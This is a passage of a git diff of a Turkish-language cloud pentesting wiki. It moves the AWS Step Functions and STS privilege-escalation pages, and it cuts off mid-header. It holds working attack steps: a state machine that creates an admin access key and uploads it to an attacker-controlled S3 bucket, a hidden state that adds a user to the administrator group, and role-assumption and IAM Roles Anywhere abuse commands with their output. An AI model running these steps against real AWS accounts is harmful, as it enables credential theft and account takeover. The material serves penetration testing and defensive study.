-"Parameters": { -"UserName": "admin" -}, -"ResultPath": "$.AccessKeyResult", -"Next": "PrepareS3PutObject" -}, -"PrepareS3PutObject": { -"Type": "Pass", -"Parameters": { -"Body.$": "$.AccessKeyResult.AccessKey", -"Bucket": "attacker-controlled-S3-bucket", -"Key": "AccessKey.json" -}, -"ResultPath": "$.S3PutObjectParams", -"Next": "PutObject" -}, -"PutObject": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:s3:putObject", -"Parameters": { -"Body.$": "$.S3PutObjectParams.Body", -"Bucket.$": "$.S3PutObjectParams.Bucket", -"Key.$": "$.S3PutObjectParams.Key" -}, -"End": true -} -} -} -``` -- **Durum makinesi** oluşturmak için yürütülen **komut**: -```bash -aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole -{ -"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", -"creationDate": "2024-07-09T20:29:35.381000+02:00" -} -``` -- Daha önce oluşturulan durum makinesinin **çalıştırılmasını başlatmak** için yürütülen **komut**: -```json -aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine -{ -"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", -"startDate": "2024-07-09T20:33:35.466000+02:00" -} -``` -> [!WARNING] -> Saldırgan kontrolündeki S3 bucket, mağdur hesabından s3:PutObject eylemini kabul etmek için izinlere sahip olmalıdır. - -**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. - -### `states:UpdateStateMachine` & (her zaman gerekli değil) `iam:PassRole` - -**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükselmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükselmesi başarılı olacaktır. - -Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşacaktır: - -1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımını güncellemek yeterlidir. -2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine de ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir. -```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] -``` -Aşağıdaki örnekler, sadece bir HelloWorld Lambda fonksiyonunu çağıran meşru bir durum makinesini güncelleyerek, kullanıcı **`unprivilegedUser`**'ı **`administrator`** IAM Grubuna ekleyen ek bir durum eklemeyi göstermektedir. Bu şekilde, meşru bir kullanıcı güncellenmiş durum makinesinin bir yürütmesini başlattığında, bu yeni kötü niyetli gizli durum çalıştırılacak ve yetki yükseltme başarılı olacaktır. - -> [!WARNING] -> Eğer durum makinesi ile ilişkili bir izinli IAM Rolü yoksa, izinli bir IAM Rolü ile ilişkilendirmek için **`iam:PassRole`** izni de gerekecektir (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmiş bir rol). - -{{#tabs }} -{{#tab name="Legit State Machine" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} - -{{#tab name="Kötü Amaçlı Güncellenmiş Durum Makinesi" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "AddUserToGroup" -}, -"AddUserToGroup": { -"Type": "Task", -"Parameters": { -"GroupName": "administrator", -"UserName": "unprivilegedUser" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} -{{#endtabs }} - -- **Komut** **geçerli durum makinesini** **güncellemek** için **çalıştırıldı**: -```bash -aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json -{ -"updateDate": "2024-07-10T20:07:10.294000+02:00", -"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" -} -``` -**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md new file mode 100644 index 000000000..2b7eba9ee --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -0,0 +1,231 @@ +# AWS - Step Functions Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Bu AWS servisi hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Görev Kaynakları + +Bu privilege escalation techniques, istenen privilege escalation actions'ı gerçekleştirmek için bazı AWS Step Functions kaynaklarının kullanılmasını gerektirecektir. + +Tüm olası eylemleri kontrol etmek için kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri şu örnekte olduğu gibi görebilirsiniz: + +
+ +Veya AWS API belgelerine gidip her bir eylemin dokümantasyonunu inceleyebilirsiniz: + +- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) +- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) + +### `states:TestState` & `iam:PassRole` + +**`states:TestState`** ve **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir state machine'i oluşturmadan veya güncellemeden herhangi bir state'i test edebilir ve ona herhangi bir IAM rolünü pass edebilir; bu, rollerin izinleriyle diğer AWS servislerine yetkisiz erişim sağlayabilir. Birlikte, bu izinler iş akışlarını manipüle etmekten veriyi değiştirmeye, veri ihlallerine, kaynak manipülasyonuna ve privilege escalation'a kadar geniş çaplı yetkisiz eylemlere yol açabilir. +```bash +aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +``` +Aşağıdaki örnekler, bu izinleri ve AWS ortamındaki geniş izinlere sahip bir rolü kullanarak **`admin`** kullanıcısı için bir access key oluşturan bir state'i nasıl test edeceğinizi gösterir. Bu geniş izinlere sahip rol, state'in **`iam:CreateAccessKey`** eylemini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmiş olmalıdır (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**): + +- **stateDefinition.json**: +```json +{ +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true +} +``` +- **Komut** privesc'i gerçekleştirmek için çalıştırıldı: +```bash +aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole + +{ +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" +} +``` +**Potansiyel Etki**: İş akışlarının yetkisiz yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim; potansiyel olarak ciddi güvenlik ihlallerine yol açabilir. + +### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) + +**`states:CreateStateMachine`** ve **`iam:PassRole`** izinlerine sahip bir saldırgan, bir state machine oluşturup ona herhangi bir IAM rolü atayarak, bu rollerin izinleriyle diğer AWS servislerine yetkisiz erişim sağlayabilir. Önceki privesc tekniği (**`states:TestState`** & **`iam:PassRole`**) ile karşılaştırıldığında, bu teknik kendi başına çalışmaz; state machine üzerinde bir yürütmeyi başlatmak için ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine sahip olmanız gerekir (**`states:StartSyncExecution`** **standard workflows** için **mevcut değildir**, **just to express state machines**). +```bash +# Create a state machine +aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] + +# Start a state machine execution +aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] + +# Start a Synchronous Express state machine execution +aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +``` +Aşağıdaki örnekler, AWS ortamındaki izinleri ve izin verici bir rolü kullanarak **`admin`** kullanıcısı için bir access key oluşturan ve bu access key'i saldırgan kontrolündeki bir S3 bucket'ına sızdıran bir state machine'in nasıl oluşturulacağını gösterir. Bu izin verici rol, state machine'in **`iam:CreateAccessKey`** ve **`s3:putObject`** işlemlerini gerçekleştirmesine izin veren yüksek ayrıcalıklı bir policy ile ilişkilendirilmiş olmalıdır (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**). + +- **stateMachineDefinition.json**: +```json +{ +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} +} +``` +- **Komut** **state machine oluşturmak için çalıştırıldı**: +```bash +aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole +{ +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" +} +``` +- **Komut** daha önce oluşturulmuş durum makinesinin bir yürütmesini başlatmak için çalıştırıldı: +```json +aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine +{ +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" +} +``` +> [!WARNING] +> Saldırgan tarafından kontrol edilen S3 bucket, hedef hesaptan gelen bir s3:PutObject action'ını kabul etme izinlerine sahip olmalıdır. + +**Olası Etki**: İş akışlarının yetkisiz yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim; bu durum potansiyel olarak önemli güvenlik ihlallerine yol açabilir. + +### `states:UpdateStateMachine` & (her zaman gerekli olmayabilir) `iam:PassRole` + +**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir state machine'in tanımını değiştirebilir; privilege escalation ile sonuçlanabilecek ekstra gizli states ekleyebilir. Böylece meşru bir kullanıcı state machine'in execution'ını başlattığında, bu yeni kötü amaçlı gizli state çalıştırılacak ve privilege escalation başarılı olacaktır. + +State machine ile ilişkili IAM Role'un ne kadar geniş yetkili olduğuna bağlı olarak, saldırgan 2 durumla karşılaşır: + +1. **Geniş yetkili IAM Role**: Eğer state machine ile ilişkili IAM Role zaten geniş yetkiliyse (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`** policy'si iliştirilmişse), privilege escalation için **`iam:PassRole`** iznine gerek yoktur; çünkü IAM Role'u da güncellemek gerekli olmayacak, state machine tanımını değiştirmek yeterlidir. +2. **Sınırlı IAM Role**: Önceki durumun aksine, burada saldırganın ayrıca **`iam:PassRole`** iznine ihtiyacı olacaktır; çünkü state machine tanımını değiştirmeye ek olarak state machine'e geniş yetkili bir IAM Role iliştirmek gerekecektir. +```bash +aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] +``` +Aşağıdaki örnekler, yalnızca bir HelloWorld Lambda function çağıran meşru bir state machine'i, ekstra bir state ekleyerek **`unprivilegedUser`** kullanıcısını **`administrator`** IAM Group'a ekleyecek şekilde nasıl güncelleyeceğinizi gösterir. Böylece, meşru bir kullanıcı güncellenmiş state machine'in yürütmesini başlattığında, bu yeni kötü amaçlı gizli state çalıştırılacak ve yetki yükseltme başarılı olacaktır. + +> [!WARNING] +> Eğer state machine'e iliştirilmiş geniş izinlere sahip bir IAM Role yoksa, geniş izinlere sahip bir IAM Role'ü ilişkilendirmek için IAM Role'ü güncelleme amacıyla **`iam:PassRole`** izninin de gerekli olacaktır (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmiş bir role). + +{{#tabs }} +{{#tab name="Legit State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} + +{{#tab name="Malicious Updated State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} +{{#endtabs }} + +- **Komut** yürütüldü **güncellemek** **meşru durum makinesini**: +```bash +aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json +{ +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +``` +**Olası Etki**: Yetkisiz iş akışlarının yürütülmesi ve manipülasyonu ile hassas kaynaklara erişim, potansiyel olarak önemli güvenlik ihlallerine yol açabilir. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index 7fc849123..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -Her rol, bir **rol güven politikası** ile oluşturulur; bu politika, **oluşturulan rolü kimin üstlenebileceğini** belirtir. Eğer aynı hesaptaki bir rol, bir hesabın onu üstlenebileceğini söylüyorsa, bu o hesabın role (ve potansiyel olarak **privesc**) erişebileceği anlamına gelir. - -Örneğin, aşağıdaki rol güven politikası herkesin onu üstlenebileceğini gösterir; bu yüzden **herhangi bir kullanıcı**, o role bağlı izinlere privesc yapabilecektir. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Bir rolü şu komutu çalıştırarak taklit edebilirsiniz: -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Olası Etki:** Rol üzerinde Privesc. - -> [!CAUTION] -> Bu durumda izin `sts:AssumeRole`'un **istismar edilecek rolde belirtilmiş** olması gerektiğini ve attacker'a ait bir policy'de olmaması gerektiğini unutmayın.\ -> Bir istisna dışında, farklı bir hesaptan bir rolü **üstlenmek** için attacker hesabının **ayrıca** rol üzerinde **`sts:AssumeRole`** iznine sahip olması gerekir. - - -### `sts:AssumeRoleWithSAML` - -Bu role ait bir trust policy, **SAML ile doğrulanmış kullanıcılara rolü taklit etme erişimi** verir. - -Bir örnek olarak bu izne sahip bir trust policy şöyledir: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -Genel olarak role'ü taklit etmek için credentials oluşturmak üzere şunun gibi bir şey kullanabilirsiniz: -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -Ama **sağlayıcılar**, bunu kolaylaştırmak için **kendi araçlarına** sahip olabilir, örneğin [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Olası Etki:** Privesc to the role. - -### `sts:AssumeRoleWithWebIdentity` - -Bu izin, bir web identity provider ile mobil veya web uygulamasında, EKS... içinde kimlik doğrulaması yapılmış kullanıcılar için bir dizi geçici güvenlik kimlik bilgisi elde etme izni verir. [Buradan daha fazlasını öğrenin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -Örneğin, eğer bir **EKS service account** bir **IAM role'u impersonate edebilmeli** ise, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olur ve aşağıdakine benzer şekilde **role'u assume edip credentials alabilir**: -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM RolesAnywhere, AWS dışındaki iş yüklerinin X.509 sertifikaları kullanarak IAM role'lerini devralmasına izin verir. Ancak trust policies uygun şekilde sınırlandırılmadığında, privilege escalation için suistimal edilebilir. - -Bu saldırıyı anlamak için trust anchor'ın ne olduğunu açıklamak gerekir. AWS IAM RolesAnywhere'da bir trust anchor, güvenin kökünü oluşturan varlıktır; hesabınıza kayıtlı bir Certificate Authority (CA)'nın açık sertifikasını içerir, böylece AWS sunulan X.509 sertifikalarını doğrulayabilir. Bu şekilde, client sertifikası o CA tarafından verilmişse ve trust anchor etkinse, AWS bunu geçerli olarak tanır. - -Ayrıca, bir profile, X.509 sertifikasının hangi özniteliklerinin (ör. CN, OU veya SAN) session tags'e dönüştürüleceğini tanımlayan yapılandırmadır ve bu tag'ler daha sonra trust policy koşullarıyla karşılaştırılır. - -Bu policy, hangi trust anchor veya sertifika özniteliklerinin izinli olduğuna dair kısıtlama içermez. Sonuç olarak, hesapta herhangi bir trust anchor'a bağlı herhangi bir sertifika bu role assume etmek için kullanılabilir. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -privesc yapmak için, `aws_signing_helper` şu adresten gereklidir: https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Ardından, geçerli bir sertifika kullanarak attacker daha yüksek ayrıcalıklı role pivot yapabilir. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -Güven kökü, istemcinin `readonly.pem` sertifikasının yetkili CA'sından geldiğini doğrular; bu `readonly.pem` sertifikasının içinde ise imzanın karşılık gelen özel anahtar `readonly.key` ile yapıldığını doğrulamak için AWS'in kullandığı açık anahtar bulunur. - -Sertifika ayrıca CN veya OU gibi `default` profilinin etiketlere dönüştürdüğü öznitelikler sağlar; rolün güven politikası bu etiketleri erişimi yetkilendirip yetkilendirmeyeceğine karar vermek için kullanabilir. Eğer güven politikasında koşul yoksa, bu etiketlerin bir faydası olmaz ve geçerli bir sertifikaya sahip herkese erişim verilir. - -Bu saldırının mümkün olabilmesi için hem güven kökünün hem de `default` profilinin aktif olması gerekir. - -### Referanslar - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..4e1d374a2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +Her rol, bir **rol güven politikası** ile oluşturulur; bu politika **oluşturulan rolü kimlerin üstlenebileceğini** belirtir. Eğer **aynı hesap** içindeki bir rol, bir hesabın onu üstlenebileceğini belirtiyorsa, bu hesabın role (ve potansiyel olarak **privesc**) erişebileceği anlamına gelir. + +Örneğin, aşağıdaki **rol güven politikası**, herkesin onu üstlenebileceğini gösterir; bu nedenle **her kullanıcı privesc yapabilecektir** ve o role bağlı izinlere erişim sağlayacaktır. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Bir rolü şu komutla taklit edebilirsiniz: +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Potential Impact:** role'a Privesc. + +> [!CAUTION] +> Bu durumda izin `sts:AssumeRole`'un **istismar edilecek role belirtilmiş** olması gerektiğini ve saldırgana ait bir policy'de olmaması gerektiğini unutmayın.\ +> Bir istisna dışında, **farklı bir account'taki role assume etmek** için saldırgan hesabın **aynı zamanda** role üzerinde **`sts:AssumeRole`** iznine sahip olması gerekir. + + +### `sts:AssumeRoleWithSAML` + +Bu trust policy'ye sahip role, **SAML ile kimlik doğrulaması yapılmış kullanıcılara role bürünme erişimi** verir. + +An example of a trust policy with this permission is: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +Genel olarak rolü taklit etmek için kimlik bilgileri oluşturmak amacıyla şöyle bir şey kullanabilirsiniz: +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +Ancak **sağlayıcılar** bunu kolaylaştırmak için **kendi araçlarına** sahip olabilir, örneğin [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Potansiyel Etki:** Rol için Privesc. + +### `sts:AssumeRoleWithWebIdentity` + +Bu izin, bir web kimlik sağlayıcısı ile **mobil veya web uygulamalarında, EKS... içinde kimlik doğrulanmış kullanıcılar** için geçici güvenlik kimlik bilgileri elde etme yetkisi verir. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +AWS IAM RolesAnywhere, AWS dışındaki iş yüklerinin X.509 sertifikaları kullanarak IAM rolü üstlenmesine olanak tanır. Ancak trust policies düzgün şekilde sınırlandırılmadığında, bunlar privilege escalation için kötüye kullanılabilir. + +Bu saldırıyı anlamak için trust anchor'ın ne olduğunu açıklamak gerekir. AWS IAM RolesAnywhere'daki bir trust anchor, güven kökünü oluşturan varlıktır; hesapta kayıtlı bir Certificate Authority (CA) 'nın açık sertifikasını içerir, böylece AWS sunulan X.509 sertifikalarını doğrulayabilir. Bu nedenle istemci sertifikası o CA tarafından düzenlendiyse ve trust anchor aktif durumdaysa, AWS bunu geçerli olarak tanır. + +Ayrıca, bir profile, X.509 sertifikasının hangi özniteliklerinin (ör. CN, OU veya SAN) session tags'e dönüştürüleceğini tanımlayan yapılandırmadır; bu tag'ler daha sonra trust policy'nin koşullarıyla karşılaştırılır. + +Bu policy, hangi trust anchor veya sertifika özniteliklerine izin verildiği konusunda kısıtlama içermiyor. Sonuç olarak, hesaptaki herhangi bir trust anchor'a bağlı herhangi bir sertifika bu rolü üstlenmek için kullanılabilir. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Privesc için, `aws_signing_helper` şu adresten gereklidir: https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Daha sonra geçerli bir sertifika kullanarak saldırgan daha yüksek ayrıcalıklı role pivot yapabilir. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +Güven kökü, istemcinin `readonly.pem` sertifikasının yetkili CA'sından geldiğini doğrular; bu `readonly.pem` sertifikasının içinde ise imzanın karşılık gelen özel anahtar `readonly.key` ile yapıldığını doğrulamak için AWS'in kullandığı açık anahtar bulunur. + +Sertifika ayrıca `default` profilinin etiketlere dönüştürdüğü (ör. CN veya OU) öznitelikler sağlar; rolün güven politikasının erişimi yetkilendirip yetkilendirmeyeceğine karar vermek için bu etiketleri kullanabilir. Eğer güven politikasında koşul yoksa, bu etiketlerin bir kullanımı olmaz ve geçerli bir sertifikaya sahip olan herkese erişim verilir. + +Bu saldırının mümkün olması için hem güven kökünün hem de `default` profilin aktif olması gerekir. + +### Referanslar + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index 60de694a0..107a076c9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ 